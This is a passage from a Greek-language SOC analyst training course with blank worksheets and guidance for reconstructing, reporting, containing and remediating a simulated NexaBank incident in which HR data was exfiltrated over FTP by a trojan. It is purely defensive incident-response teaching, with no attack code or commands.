- Έχετε καταγράψει την ταξινόμηση του κακόβουλου λογισμικού και τα IOC στο SOC Ticket.

Φύλλο εργασίας ανάλυσης κακόβουλου λογισμικού – Εξέταση δυαδικών αρχείων

Αριθμός υπόθεσης: _____ **Όνομα αναλυτή:** _____

Ημερομηνία/Ώρα: _____

Όνομα αρχείου: _____

Πηγή (Δίσκος/Μνήμη/Άλλο): _____

1. Μεταδεδομένα αρχείου

Καταγράψτε βασικές λεπτομέρειες σχετικά με το αρχείο.

Ιδιότητα	**Τιμή**
Διαδρομή αρχείου	_____
Μέγεθος αρχείου	_____
Τύπος αρχείου	_____
Χρόνος σύνταξης	_____
Κωδικός SHA-256	_____

Ψηφιακή υπογραφή [ ] Έγκυρη [ ] Μη έγκυρη [ ] Καμία

2. Ανάλυση συμβολοσειρών

Λίστα ενδιαφερόντων συμβολοσειρών που βρέθηκαν στο δυαδικό αρχείο.

Εξαγόμενη συμβολοσειρά	**Γιατί είναι ύποπτη;**
_____	_____
_____	_____
_____	_____

3. Αναζητήσεις πληροφοριών απειλών

Καταγράψτε τα αποτελέσματα από εξωτερικές ή εσωτερικές πλατφόρμες.

Πλατφόρμα	Αποτέλεσμα/Ταξινόμηση	Σημειώσεις
VirusTotal	_____	
Υβριδική ανάλυση	_____ __	Άλλο (TI feed) _____ __

4. Sandbox / Παρατηρήσεις συμπεριφοράς

(Εάν εκτελεστεί σε ασφαλές περιβάλλον.)

Παρατηρηθείσα ενέργεια	Λεπτομέρειες	Γιατί είναι ύποπτη;
Σύνδεση δικτύου	_____	
Αλλαγές στο σύστημα αρχείων	_____	
Προσπάθεια διατήρησης	_____	

5. Προσδιορισμένα IOC

Λίστα δεικτών παραβίασης που δημιουργήθηκαν από την ανάλυση.

Τύπος IOC	Τιμή	Σημειώσεις
Όνομα αρχείου	_____	
Κωδικός αρχείου	_____	
IP/Τομέας	_____	
Μητρώο/Διαμόρφωση	_____	

_____

6. Σημειώσεις αναλυτή

Παρατηρήσεις ελεύθερου κειμένου, συσχετίσεις με αρχεία καταγραφής ή ευρήματα δίσκου/μνήμης.

Υπενθύμιση:

- Πάντα **να δημιουργείτε hash** του αρχείου και να το καταγράφετε στο **Αρχείο Αλυσίδας Εποπτείας**.
- Συσχετίστε τη συμπεριφορά του sandbox με προηγούμενα στοιχεία (αρχεία καταγραφής, PCAP, εργασίες cron).
- Η ταξινόμηση (π.χ. Trojan, Worm, Backdoor) πρέπει να βασίζεται στην παρατηρούμενη συμπεριφορά και όχι σε υποθέσεις.

3.5 Συσχετίσεις Χρονοδιάγραμμα επίθεσης – Ανακατασκευή του συμβάντος

Σενάριο

Σε αυτό το στάδιο, έχετε συγκεντρώσει:

- **Αρχεία καταγραφής** (ύποπτη σύνδεση, εξερχόμενη σύνδεση FTP)
- **Αποδεικτικά στοιχεία μνήμης** (διαδικασία ftpclient.exe + σύνδεση FTP)
- **Αποδεικτικά στοιχεία από το δίσκο** (cron job, hr_archive.zip σε στάδια)
- **Ευρήματα κακόβουλου λογισμικού** (ftpclient.exe = trojan εξόρυξης δεδομένων)

Ο στόχος σας είναι να **συνθέσετε αυτά τα στοιχεία** για να εξηγήσετε πώς εξελίχθηκε η επίθεση.

Βήμα 1: Κατασκευή χρονοδιαγράμματος

Οργανώστε όλα τα συμβάντα κατά **ημερομηνία/ώρα**. Παράδειγμα:

Δείγμα χρονολογικού πίνακα

Ώρα (UTC)	Γεγονός	Πηγή	Σημειώσεις
02:41	Σύνδεση dbadmin από IP 203.0.113.41	Αρχείο καταγραφής ελέγχου ταυτότητας	Λογαριασμός με δικαιώματα, ασυνήθιστη ώρα
02:41–02:42	Πρόσβαση σε αρχεία HR (employee_data.xlsx, salaries.csv)	Αρχείο καταγραφής πρόσβασης	Ευαίσθητα δεδομένα που αποτέλεσαν στόχο
02:42	Εκκίνηση ύποπτης διεργασίας ftpclient.exe (PID 1337)	Ανάλυση μνήμης	Αντιστοιχίες κακόβουλου λογισμικού exfil
02:42	Δημιουργία αρχείου hr_archive.zip στο /home/dbadmin/	Εγκληματολογική ανάλυση δίσκου	Δεδομένα έτοιμα για μεταφορά
02:43	Εξερχόμενη σύνδεση FTP → 198.51.100.77:21	Αρχείο καταγραφής τείχους προστασίας	Η διαρροή δεδομένων βρίσκεται σε εξέλιξη
02:44	Δημιουργία cron job για τη διατήρηση του κακόβουλου λογισμικού (backup.sh)	Διαδικασία ανάλυσης δίσκου	Εξασφαλίζει τη συνεχή διαρροή δεδομένων

Ώρα (UTC)	Συμβάν	Πηγή	Σημειώσεις
02:45+	Ειδοποίηση Endpoint AV (Trojan.FTPExfil.A)	Αρχεία καταγραφής EDR	Ενεργοποίηση ανίχνευσης
02:48	Επιβεβαιώθηκε η εξερχόμενη μεταφορά μέσω FTP (25 MB)	Αρχείο καταγραφής τείχους προστασίας	Πιθανή διαρροή δεδομένων
03:05	Περιορισμός SOC: dbadmin απενεργοποιημένο, διακομιστής απομονωμένος	Αίτημα SOC	Έναρξη περιορισμού

Βήμα 2: Προσδιορισμός των φάσεων της επίθεσης

Αντιστοιχίστε κάθε καταχώριση χρονοδιαγράμματος με τις φάσεις **της αλυσίδας εξόντωσης** ή **του MITRE ATTsCK**:

- **Αρχική πρόσβαση** → Παραβίαση λογαριασμού dbadmin (κλεμμένα διαπιστευτήρια;)
- **Εκτέλεση** → Εκκίνηση του ftpclient.exe
- **Επιμονή** → Δημιουργία εργασίας Cron (backup.sh)
- **Διαρροή** → Συμπίεση δεδομένων HR + μεταφορά μέσω FTP
- **Ανίχνευση και απόκριση** → Ειδοποίηση SIEM + περιορισμός SOC

Βήμα 3: Άσκηση – Δημιουργήστε τη δική σας χρονολογική σειρά

Συμπληρώστε τα παρακάτω με βάση τα στοιχεία που έχετε:

Ώρα	Γεγονός	Πηγή αποδεικτικών στοιχείων	Φάση επίθεσης
_____	_____	_____	_____
_____	_____	_____	_____
_____	_____	_____	_____

Βήμα 4: Περιγραφή αναλυτή

Συντάξτε μια σύντομη **περιγραφή** του συμβάντος:

«Τις πρώτες πρωινές ώρες της 27ης Σεπτεμβρίου, πραγματοποιήθηκε πρόσβαση σε έναν λογαριασμό με δικαιώματα (dbadmin) από μια

ξένη IP. Μέσα σε λίγα λεπτά, τα δεδομένα του τμήματος Ανθρώπινου Δυναμικού μεταφέρθηκαν και εκλάπησαν χρησιμοποιώντας ένα ειδικά διαμορφωμένο εργαλείο κακόβουλου λογισμικού (ftpclient.exe). Ο εισβολέας εξασφάλισε τη διατήρηση της πρόσβασης μέσω μιας εργασίας cron.
Η ανίχνευση έγινε στις 02:48 και η ομάδα SOC περιόρισε το περιστατικό μέχρι τις 03:05.»

Βήμα 5: Ενημέρωση του εισιτηρίου SOC

- Επισυνάψτε το ολοκληρωμένο χρονοδιάγραμμα.
- Σημειώστε τη συσχέτιση μεταξύ πολλαπλών πηγών αποδεικτικών στοιχείων.
- Προσθέστε ταξινόμηση: **Επιβεβαιωμένο περιστατικό διαρροής δεδομένων**.

Σημείο ελέγχου: Ενότητα 3.5

Πριν προχωρήσετε στην **Ενότητα 3.6: Παραδοτέα αναφοράς**, βεβαιωθείτε ότι:

- Δημιουργήσατε ένα χρονοδιάγραμμα της επίθεσης.
- Αντιστοιχίσατε τα γεγονότα στις φάσεις του MITRE ATTCCK.
- Έχετε συντάξει μια σαφή περιγραφική σύνοψη.
- Ενημερώσατε το SOC Ticket με τα ευρήματα του χρονοδιαγράμματος.

Φύλλο εργασίας χρονολογικού πλαισίου επίθεσης – Ανακατασκευή συμβάντος

Αριθμός υπόθεσης: _____

Όνομα αναλυτή: _____

Ημερομηνία/ώρα σύνταξης: _____

Σύστημα(-τα) προέλευσης: _____

1. Χρονολογική σειρά

Καταγράψτε τα βασικά γεγονότα με τη σειρά που συνέβησαν.

Ώρα (UTC)	Γεγονός	Πηγή αποδεικτικών στοιχείων	Σημειώσεις

2. Αντιστοίχιση φάσεων επίθεσης (Kill Chain / MITRE ATTsCK)

Αντιστοιχίστε κάθε συμβάν στη σχετική φάση επίθεσης.

Ώρα (UTC)	Συμβάν	Φάση επίθεσης	Αναγνωριστικό τεχνικής (εάν MITRE ATTsCK)

3. Δείκτες παραβίασης (IOC) που συσχετίστηκαν

Καταγράψτε τα IOC που εντοπίστηκαν σε όλες τις πηγές αποδεικτικών στοιχείων.

Τύπος IOC	Τιμή	Πηγή (Αρχείο καταγραφής/Μνήμη/Δίσκος/Κακόβουλο λογισμικό)	Σημειώσεις
Διεύθυνση IP			
Κωδικός αρχείου			
Όνομα αρχείου			
Λογαριασμός χρήστη			

4. Περιγραφική σύνοψη

Γράψτε μια συνοπτική περιγραφή (3–5 προτάσεις) που περιγράφει το περιστατικό:

Υπενθύμιση:

- Ελέγξτε τις χρονικές σημάνσεις σε πολλαπλές πηγές (αρχεία καταγραφής, μνήμη, δίσκος).
- Χρησιμοποιήστε **συνεπείς ζώνες ώρας (κατά προτίμηση UTC)** για να αποφύγετε τη σύγχυση.
- Ένα καλά δομημένο χρονοδιάγραμμα αποτελεί το **βασικό αποδεικτικό στοιχείο** για την αναφορά του συμβάντος και την ανασκόπηση μετά το συμβάν.

3.6 Παραδοτέα αναφοράς – Δημιουργία της αναφοράς συμβάντος SOC

Σενάριο

Έχετε ολοκληρώσει:

- Ανάλυση αρχείων καταγραφής
- Εγκληματολογική ανάλυση μνήμης και δίσκου
- Εξέταση κακόβουλου λογισμικού
- Ανακατασκευή χρονοδιαγράμματος επίθεσης

Τώρα, ήρθε η ώρα να **συγκεντρώσετε αυτά τα ευρήματα σε μία ενιαία αναφορά συμβάντος SOC**. Αυτή η αναφορά θα διαβαστεί από **ανώτερους αναλυτές, το τμήμα IT, το νομικό τμήμα και τα στελέχη της διοίκησης**, οπότε πρέπει να είναι σαφής, επαγγελματική και δομημένη.

Βήμα 1: Σκοπός της έκθεσης

Η αναφορά συμβάντος SOC πρέπει:

- Να συνοψίζει τα γεγονότα (γεγονότα, όχι εικασίες).
- Να προσδιορίζει τα περιουσιακά στοιχεία και τα δεδομένα που επηρεάστηκαν.
- Να καταγράφει τους δείκτες παραβίασης (IOC).
- Να τεκμηριώνει τις ενέργειες που έχουν ληφθεί.
- Να προτείνει τα επόμενα βήματα.

Θεωρήστε το ως το **επίσημο αρχείο** της έρευνας.

Βήμα 2: Τυπική δομή αναφοράς

Η έκθεσή σας πρέπει να περιλαμβάνει τις ακόλουθες ενότητες:

1. **Σύνοψη**
    - Σύνοψη μιας σελίδας για το τι συνέβη, ποιοι επηρεάστηκαν και την τρέχουσα κατάσταση.
    - Γραμμένη σε **απλή γλώσσα** για την ηγεσία.

2. **Λεπτομέρειες συμβάντος**
    - Αριθμός υπόθεσης, αναλυτής, ημερομηνία/ώρα, συστήματα που επηρεάστηκαν.
    - Ενεργοποίηση ειδοποίησης και αρχική ανίχνευση.
3. **Αποτελέσματα έρευνας**
    - Σημαντικά γεγονότα (συνοπτικά από το χρονοδιάγραμμα).
    - Αποδεικτικά στοιχεία από αρχεία καταγραφής, μνήμη, δίσκο, ανάλυση κακόβουλου λογισμικού.
    - Λίστα επιβεβαιωμένων IOC.
4. **Ενέργειες αντίδρασης**
    - Μέτρα περιορισμού που ελήφθησαν (π.χ. απενεργοποίηση λογαριασμού, απομόνωση διακομιστή).
    - Μέτρα εξάλειψης (αφαίρεση κακόβουλου λογισμικού, διαγραφή στοιχείων επιμονής).
    - Πρόοδος αποκατάστασης (αποκατάσταση από καθαρό αντίγραφο ασφαλείας).
5. **Επιπτώσεις στην επιχείρηση**
    - Συστήματα που επηρεάστηκαν.
    - Δεδομένα στα οποία έγινε πρόσβαση/διαρροή.
    - Πιθανές κανονιστικές ή νομικές επιπτώσεις.
6. **Συστάσεις**
    - Ενημερώσεις πολιτικών (π.χ. αυστηρότερη εναλλαγή κωδικών πρόσβασης, διαχείριση ενημερώσεων).
    - Τεχνικές βελτιώσεις (π.χ. καλύτεροι κανόνες SIEM, αποκλεισμοί τείχους προστασίας).
    - Ανάγκες εκπαίδευσης (π.χ. ευαισθητοποίηση χρηστών, ασκήσεις SOC).
7. **Παραρτήματα (Προαιρετικά)**
    - Φύλλα εργασίας (αρχεία καταγραφής, μνήμη, δίσκος, κακόβουλο λογισμικό).
    - Πλήρες χρονοδιάγραμμα επίθεσης.
    - Στιγμιότυπα οθόνης ή εξαγόμενα αρχεία καταγραφής.

Βήμα 3: Παράδειγμα συνοπτικής περίληψης

Δείγμα κειμένου:

Στις 27 Σεπτεμβρίου 2025, η NexaBank εντόπισε ύποπτη δραστηριότητα σύνδεσης σε έναν λογαριασμό με δικαιώματα (dbadmin). Η επακόλουθη έρευνα αποκάλυψε ότι ευαίσθητα δεδομένα του τμήματος ανθρώπινου δυναμικού είχαν συγκεντρωθεί και διαρρεύσει μέσω ενός κακόβουλου δυαδικού αρχείου (ftpclient.exe). Η επίθεση προήλθε από την ξένη IP 203.0.113.41 και χρησιμοποίησε FTP για τη μεταφορά δεδομένων στη διεύθυνση 198.51.100.77. Τα μέτρα περιορισμού περιλάμβαναν την απενεργοποίηση του λογαριασμού και την απομόνωση του επηρεαζόμενου διακομιστή. Δεν έχει παρατηρηθεί περαιτέρω κακόβουλη δραστηριότητα από τις 03:05 UTC. Τα επόμενα βήματα περιλαμβάνουν την εφαρμογή ενημερώσεων σε ευάλωτα συστήματα, την προσθήκη κανόνων SIEM για παρόμοια συμπεριφορά και τον προγραμματισμό αναθεώρηση των λογαριασμών με δικαιώματα.

Βήμα 4: Άσκηση – Σχέδιο αναφοράς συμβάντος SOC

Συμπληρώστε αυτό **το μίνι πρότυπο**:

Ενότητα	**Οι σημειώσεις σας**
Περίληψη _____	Λεπτομέρειες περιστατικού
_____	Αποτελέσματα της έρευνας ____
Ενέργειες αντιμετώπισης _____	
Επιπτώσεις στην επιχείρηση	
_____	Συστάσεις _____

Βήμα 5: Ενημέρωση του δελτίου SOC

- Σημειώστε την κατάσταση της υπόθεσης: **Κλειστή – Επιβεβαιωμένο περιστατικό διαρροής δεδομένων**.
- Επισυνάψτε την τελική αναφορά περιστατικού SOC.
- Ενημερώστε τον ανώτερο αναλυτή και τον υπεύθυνο του SOC.

Σημείο ελέγχου: Ενότητα 3.6

Πριν προχωρήσετε στη **Φάση 4 – Αντίδραση και Τεκμηρίωση**, βεβαιωθείτε ότι:

- Έχετε συντάξει μια **συνοπτική περίληψη** σε απλή γλώσσα.

- Διαρθρώσατε τα ευρήματα σε μια **Έκθεση Περιστατικού SOC**.
- Έχετε επισυνάψει τα υποστηρικτικά φύλλα εργασίας και το χρονοδιάγραμμα.
- Έχετε ενημερώσει το SOC Ticket με τα τελικά παραδοτέα.

Πρότυπο Έκθεσης Περιστατικού SOC

Αριθμός υπόθεσης: _____

Ημερομηνία/ώρα αναφοράς: _____

Όνομα αναλυτή: _____

Οργανισμός: NexaBank (Προσομοίωση)

1. Σύνοψη

Παρέχετε μια σαφή, μη τεχνική επισκόπηση του συμβάντος για την ηγεσία.

_____

_____

_____

2. Λεπτομέρειες συμβάντος

Πεδίο	**Λεπτομέρειες**
Τίτλος συμβάντος	_____
Ημερομηνία/ώρα ανίχνευσης	_____
_____	Πηγή ανίχνευσης _____
_____	Συστήματα που επηρεάστηκαν ___
_____	Λογαριασμοί που εμπλέκονται ___
_____	
Επίπεδο σοβαρότητας	[ ] Χαμηλό [ ] Μέτριο [ ] Υψηλό [ ] Κρίσιμο

3. Αποτελέσματα έρευνας

Συνοψίστε τα στοιχεία που συλλέχθηκαν.

- **Αρχική ειδοποίηση:** _____

- **Δείκτες παραβίασης (IOC):**
    - IP: _____
    - Κωδικοί αρχείων: _____
    - Ονόματα αρχείων: _____
    - Λογαριασμοί χρηστών: _____
- **Χρονοδιάγραμμα επίθεσης (περίληψη):**

---

4. Ενέργειες αντίδρασης

Κατάλογος των ενεργειών που πραγματοποιήθηκαν και πότε.

Ενέργεια **Ημερομηνία/Ώρα**

Υπεύθυνη ομάδα Περιορισμός _____

_____ Εξάλειψη _____

_____ Αποκατάσταση _____

_____

5. Επιχειρηματικές επιπτώσεις

Περιγράψτε τις επιπτώσεις του συμβάντος στον οργανισμό.

- **Δεδομένα στα οποία έγινε πρόσβαση/διαρροή:** _____
- **Συστήματα που υπέστησαν διακοπή λειτουργίας:** _____
- **Νομικές επιπτώσεις/επιπτώσεις συμμόρφωσης:** _____

6. Συστάσεις

Προτείνετε τα επόμενα βήματα για την πρόληψη της επανάληψης.

- _____

- _____
- _____

7. Παραρτήματα (Προαιρετικά)

Επισυνάψτε δικαιολογητικά έγγραφα:

- Φύλλο εργασίας ανάλυσης καταγραφών
- Φύλλο εργασίας ανάλυσης μνήμης
- Φύλλο εργασίας εγκληματολογικής ανάλυσης δίσκου
- Φύλλο εργασίας ανάλυσης κακόβουλου λογισμικού
- Φύλλο εργασίας χρονοδιαγράμματος επίθεσης

Υπενθύμιση για τους μαθητές:

- Φροντίστε η **περίληψη** να είναι **σαφής και κατανοητή για τους επαγγελματίες**.
- Τοποθετήστε **τα λεπτομερή τεχνικά στοιχεία** στα παραρτήματα και όχι στην κύρια έκθεση.
- Οι εκθέσεις αποτελούν **νομικά έγγραφα** — αποφύγετε τις εικασίες και περιοριστείτε στα παρατηρηθέντα γεγονότα.

Φάση 4: Αντίδραση και τεκμηρίωση

4.1 Εγχειρίδιο περιορισμού — Άμεσες ενέργειες

Σενάριο

Η έρευνα επιβεβαίωσε:

- Παραβίαση του λογαριασμού με δικαιώματα dbadmin
- Εγκατάσταση και εκτέλεση κακόβουλου λογισμικού (ftpclient.exe)
- Διαρροή ευαίσθητων δεδομένων HR (hr_archive.zip) μέσω FTP

Ο ρόλος σας ως αναλυτής SOC είναι να **περιορίσετε αμέσως την απειλή** για να αποτρέψετε περαιτέρω ζημιά.

Βήμα 1: Περιορισμός λογαριασμού

- Απενεργοποιήστε ή κλειδώστε τους λογαριασμούς που έχουν παραβιαστεί (dbadmin).
- Επιβάλλετε την επαναρύθμιση κωδικών πρόσβασης στους επηρεαζόμενους χρήστες.
- Ελέγξτε άλλους λογαριασμούς με δικαιώματα για ύποπτη δραστηριότητα.

Παράδειγμα ενημέρωσης καταγραφής:

03:05 UTC – Απενεργοποιήθηκε ο λογαριασμός dbadmin, ξεκίνησε η αναγκαστική επαναρύθμιση.

Βήμα 2: Περιορισμός του κεντρικού υπολογιστή

- Απομονώστε τον επηρεαζόμενο διακομιστή από το δίκτυο (αφαιρέστε τον από το διακόπτη/VLAN ή απενεργοποιήστε την κάρτα δικτύου).
- Εάν είναι διαθέσιμο το EDR, ενεργοποιήστε τη λειτουργία «απομόνωση κεντρικού υπολογιστή».
- Καταγράψτε την ώρα απομόνωσης στο ticket του SOC.

Παράδειγμα καταχώρησης SOC:

03:07 UTC – Ο διακομιστής βάσης δεδομένων (srv-db-02) απομακρύνθηκε από το VLAN παραγωγής.

Βήμα 3: Περιορισμός δικτύου

- Αποκλείστε την εξερχόμενη κίνηση προς την IP του εισβολέα (198.51.100.77) στο τείχος προστασίας.
- Προσθέστε τη διεύθυνση IP του εισβολέα στις λίστες αποκλεισμού.
- Εξετάστε το ενδεχόμενο προσωρινού γεωγραφικού αποκλεισμού εάν προκύψουν συγκεκριμένα μοτίβα.

Παράδειγμα καταχώρησης SOC:

03:10 UTC – Η εξερχόμενη κίνηση FTP προς τη διεύθυνση 198.51.100.77 αποκλείστηκε στο περιμετρικό τείχος προστασίας.

Βήμα 4: Εσκαλάρισμα επικοινωνίας

- Ειδοποιήστε τον ανώτερο αναλυτή και τον υπεύθυνο διαχείρισης συμβάντων.
- Ενημερώστε το τμήμα IT Ops για τις ενέργειες απομόνωσης.
- Ξεκινήστε τη σύνταξη ενημερώσεων για τα ενδιαφερόμενα μέρη (διευθυντικά στελέχη, νομικό τμήμα, τμήμα ανθρώπινου δυναμικού).

Βήμα 5: Άσκηση τεκμηρίωσης

Συμπληρώστε αυτή **τη λίστα ελέγχου περιορισμού** στο εισιτήριό σας SOC:

Ενέργεια	**Ολοκληρώθηκε (Ν/Ο)**	**Ημερομηνία/Ώρα**	**Σημειώσεις**
Απενεργοποίηση παραβιασμένων λογαριασμών	_____	_____	_____
Απομόνωση των επηρεαζόμενων διακομιστών	_____	_____	_____
Αποκλείστε κακόβουλες IP διευθύνσεις/τομείς	_____	_____	_____
Αναφορά σε ανώτερο SOC	_____	_____	_____

Σημείο ελέγχου: Ενότητα 4.1

Πριν προχωρήσετε στην εξάλειψη, βεβαιωθείτε ότι:

- Έχετε απενεργοποιήσει τους λογαριασμούς που έχουν επηρεαστεί.
- Έχετε απομονώσει τους μολυσμένους διακομιστές.

- Έχετε αποκλείσει τις IP διευθύνσεις των εισβολέων σε επίπεδο δικτύου.
- Έχετε ενημερώσει τα ανώτερα στελέχη του SOC.
- Καταγράψατε όλες τις ενέργειες περιορισμού με χρονικές σημάνσεις.

Φύλλο εργασίας ενεργειών περιορισμού – Άμεση αντίδραση

Αριθμός υπόθεσης: _____

Όνομα αναλυτή: _____

Ημερομηνία/ώρα σύνταξης: _____

Σύστημα(-τα) προέλευσης: _____

1. Περιορισμός λογαριασμού

Καταγράψτε τις ενέργειες που πραγματοποιήθηκαν σε λογαριασμούς που έχουν παραβιαστεί ή βρίσκονται σε κίνδυνο.

Όνομα λογαριασμού	Ενέργεια που πραγματοποιήθηκε	Ημερομηνία/Ώρα	Σημειώσεις
_____	Απενεργοποιήθηκε/Κλειδώθηκε/Επαναρυθμίστηκε ____		
_____	Απενεργοποιημένο/Κλειδωμένο/Επαναφορά _____		

2. Περιορισμός κεντρικού υπολογιστή

Καταγράψτε την απομόνωση μολυσμένων ή ύποπτων κεντρικών υπολογιστών.

Κεντρικός υπολογιστής/Σύστημα	Ενέργεια περιορισμού	Ημερομηνία/Ώρα	Σημειώσεις
_____	Απομόνωση δικτύου / Απομόνωση EDR _____		
_____	Απομόνωση δικτύου / Απομόνωση EDR _____		

3. Περιορισμός δικτύου

Καταγράψτε τις αλλαγές που έγιναν στο τείχος προστασίας, στο IDS/IPS ή σε άλλους ελέγχους δικτύου.

Δείκτης (IP/Τομέας/Θύρα)	Ενέργεια που πραγματοποιήθηκε	Ημερομηνία/Ώρα	Σημειώσεις
_____	Αποκλεισμένο/Υπό παρακολούθηση _____		
_____	Αποκλεισμένο/Παρακολουθείται _____		

4. Επικοινωνία αναφοράς

Καταγράψτε ποιος ειδοποιήθηκε και πότε.

Ομάδα/Άτομο	Τύπος ειδοποίησης (Τηλεφώνημα/Email/Ticket)	Ημερομηνία/Ώρα
Σημειώσεις Ανώτερος αναλυτής SOC	_____	_____
_____ Λειτουργίες IT	_____	_____
_____ Υπεύθυνος διαχείρισης συμβάντων	_____	_____
_____		

5. Σημειώσεις αναλυτή

Πρόσθετο πλαίσιο, παρατηρήσεις ή προκλήσεις που αντιμετωπίστηκαν.

Υπενθύμιση:

- Όλες οι ενέργειες περιορισμού πρέπει να φέρουν **χρονική σήμανση**.
- Ο περιορισμός πρέπει να ισορροπεί μεταξύ **ταχύτητας** (αναχαίτιση της επίθεσης) και **σταθερότητας** (αποφυγή περιττών διαταραχών στη λειτουργία της επιχείρησης).
- Ενημερώνετε πάντα το **ticket του SOC** με τις ενέργειες που έχουν ολοκληρωθεί.

4.2 Σχέδιο αποκατάστασης – Καθαρισμός και επαναφορά συστημάτων

Σενάριο

Η περιοριστική δράση κέρδισε χρόνο, αλλά τα εργαλεία του εισβολέα (ftpclient.exe, cron persistence) εξακολουθούν να υπάρχουν στον παραβιασμένο διακομιστή.

Τώρα, πρέπει:

1. **Να αφαιρέσετε το κακόβουλο λογισμικό και τα εργαλεία διατήρησης**
2. **Να αποκαταστήσετε τα δεδομένα και τα συστήματα από καθαρά αντίγραφα ασφαλείας**
3. **Να επαληθεύσετε τους ελέγχους ασφαλείας πριν επαναφέρετε τη λειτουργία**

Βήμα 1: Εξάλειψη – Αφαίρεση της απειλής

- Διαγράψτε τα κακόβουλα αρχεία (ftpclient.exe, αρχεία που έχουν αποθηκευτεί προσωρινά, εργασίες cron).
- Εκτελέστε ενημερωμένες σαρώσεις με antivirus/EDR σε όλα τα επηρεαζόμενα συστήματα.
- Ελέγξτε ξανά **το μητρώο, τα αρχεία ρυθμίσεων και τις προγραμματισμένες εργασίες** για τυχόν υπολείμματα.
- Εφαρμόστε ενημερώσεις κώδικα για τις ευπάθειες που εκμεταλλεύτηκαν (π.χ. υπηρεσία απομακρυσμένης σύνδεσης χωρίς ενημερώσεις κώδικα).

Παράδειγμα καταχώρησης SOC:

03:30 UTC – Αφαίρεση του ftpclient.exe από το /home/dbadmin

03:32 UTC – Απενεργοποίηση κακόβουλης εργασίας cron

(backup.sh) 03:35 UTC – Επιδιόρθωση της υπηρεσίας OpenSSH στην

έκδοση v8.9

Βήμα 2: Ανάκτηση – Επαναφορά συστημάτων

- Επαναδημιουργήστε ή ανακατασκευάστε τους διακομιστές εάν η παραβίαση είναι σοβαρή.
- Επαναφορά καθαρών δεδομένων από **το τελευταίο γνωστό έγκυρο αντίγραφο ασφαλείας**.
- Επαληθεύστε την ακεραιότητα του αντιγράφου ασφαλείας με **κατακερματισμούς/αθροίσματα ελέγχου**.
- Επαναφέρετε σταδιακά το σύστημα στην παραγωγή (σταδιακή εφαρμογή).

Παράδειγμα καταχώρησης SOC:

04:10 UTC – Επαναφορά του srv-db-02 από το αντίγραφο ασφαλείας (στιγμιότυπο της 25ης Σεπτεμβρίου).

04:15 UTC – Επαλήθευση ακεραιότητας βάσης δεδομένων HR με έλεγχο κατακερματισμού SHA-256.

Βήμα 3: Επαλήθευση ασφάλειας

Πριν δηλώσετε την ολοκλήρωση της αποκατάστασης:

- Παρακολουθήστε το SIEM για επανεμφάνιση των ίδιων IOC.
- Επαλήθευση ότι τα μπλοκαρίσματα του τείχους προστασίας παραμένουν σε ισχύ (IP εισβολέων).
- Ελέγξτε την πολιτική σύνδεσης στο σύστημα (επιβολή ισχυρών κωδικών πρόσβασης).
- Επιβεβαιώστε ότι το EDR/AV λειτουργεί με ενημερωμένες υπογραφές.

Βήμα 4: Επικοινωνία

- Ενημερώστε το τμήμα IT Ops ότι η αποκατάσταση βρίσκεται σε εξέλιξη.
- Ενημερώστε τα στελέχη για την πρόοδο.
- Συντονιστείτε με το τμήμα Ανθρώπινου Δυναμικού/Νομικών Υποθέσεων εάν έχουν εκτεθεί δεδομένα υπαλλήλων ή πελατών.

Βήμα 5: Άσκηση – Λίστα ελέγχου αποκατάστασης

Συμπληρώστε αυτό το σύντομο έντυπο παρακολούθησης αποκατάστασης:

Ενέργεια	**Ολοκληρώθηκε (Ν/Ο)**	**Ημερομηνία/Ώρα**	**Σημειώσεις**
Κατάργηση κακόβουλου λογισμικού	_____	_____	_____
Εξάλειψη της επιμονής	_____	_____	_____
Εφαρμογή ενημερώσεων	_____	_____	_____
Επαναφορά αντιγράφου ασφαλείας	_____	_____	_____
Επαληθεύτηκε η ακεραιότητα	_____	_____	_____
Εφαρμόζεται παρακολούθηση	_____	_____	_____

Σημείο ελέγχου: Ενότητα 4.2

Πριν προχωρήσετε, βεβαιωθείτε ότι:

- Έχετε αφαιρέσει την ανθεκτικότητα του κακόβουλου λογισμικού C.
- Έχετε επαναφέρει καθαρά συστήματα από το αντίγραφο ασφαλείας.
- Έχετε επαληθεύσει την ακεραιότητα του συστήματος και των δεδομένων.
- Ενημερώσατε το SOC Ticket με τα βήματα αποκατάστασης C.
- Έχετε ενημερώσει τους ενδιαφερόμενους για την πρόοδο της αποκατάστασης.

Φύλλο εργασίας εξάλειψης και αποκατάστασης – Καθαρισμός και επαναφορά συστημάτων

Αριθμός υπόθεσης: _____

Όνομα αναλυτή: _____

Ημερομηνία/ώρα σύνταξης: _____

Επηρεαζόμενα συστήματα: _____

1. Αφαίρεση κακόβουλου λογισμικού και μηχανισμών επιμονής

Καταγράψτε τα κακόβουλα αρχεία, τις διεργασίες ή τους μηχανισμούς επιμονής που αφαιρέθηκαν.

Στοιχείο που αφαιρέθηκε	Θέση	Ημερομηνία/Ώρα	Ενέργεια που πραγματοποιήθηκε	Σημειώσεις
_____	Διαγράφηκε / Τεθεί σε καραντίνα	_____		
_____	Απενεργοποιήθηκε το cron/κλειδί μητρώου	_____		

2. Εφαρμογή ενημερώσεων συστήματος

Καταγραφή των ευπαθειών που επιλύθηκαν και των ενημερώσεων που εφαρμόστηκαν.

Εφαρμογή ενημερώσεων/εκδόσεων συστήματος/υπηρεσιών		Ημερομηνία/Ώρα	Σημειώσεις
_____	_____	_____	_____
_____	_____	_____	_____

3. Δημιουργία αντιγράφων ασφαλείας και επαναφορά

Παρακολούθηση ανάκτησης από αντίγραφα ασφαλείας που είναι γνωστό ότι λειτουργούν σωστά.

Ημερομηνία δημιουργίας αντιγράφου ασφαλείας συστήματος/βάσης δεδομένων	Ημερομηνία/ώρα επαναφοράς	Επαλήθευση ακεραιότητας (Ν/Ο)	Σημειώσεις
_____	_____	[ ] Ν [ ] Ο	_____

Ημερομηνία δημιουργίας αντιγράφου ασφαλείας συστήματος/βάσης δεδομένων	Ημερομηνία/ώρα επαναφοράς	Επαλήθευση ακεραιότητας (Ν/Ο)	Σημειώσεις
_____	_____	[ ] Ν [ ] Ο	_____

4. Επικύρωση ασφάλειας

Βεβαιωθείτε ότι τα μέτρα ασφαλείας είναι ενεργά πριν επιστρέψετε στην παραγωγή.

Έλεγχος επικυρωμένος	Μέθοδος επαλήθευσης	Ημερομηνία/Ώρα	Σημειώσεις
Ενημέρωση κανόνων τείχους προστασίας		_____	
_____	Οι υπογραφές AV/EDR είναι ενημερωμένες	_____	
_____	Δοκιμή πολιτικών		
σύνδεσης/πρόσβασης _____		_____	

5. Επικοινωνία και αναφορά προβλημάτων

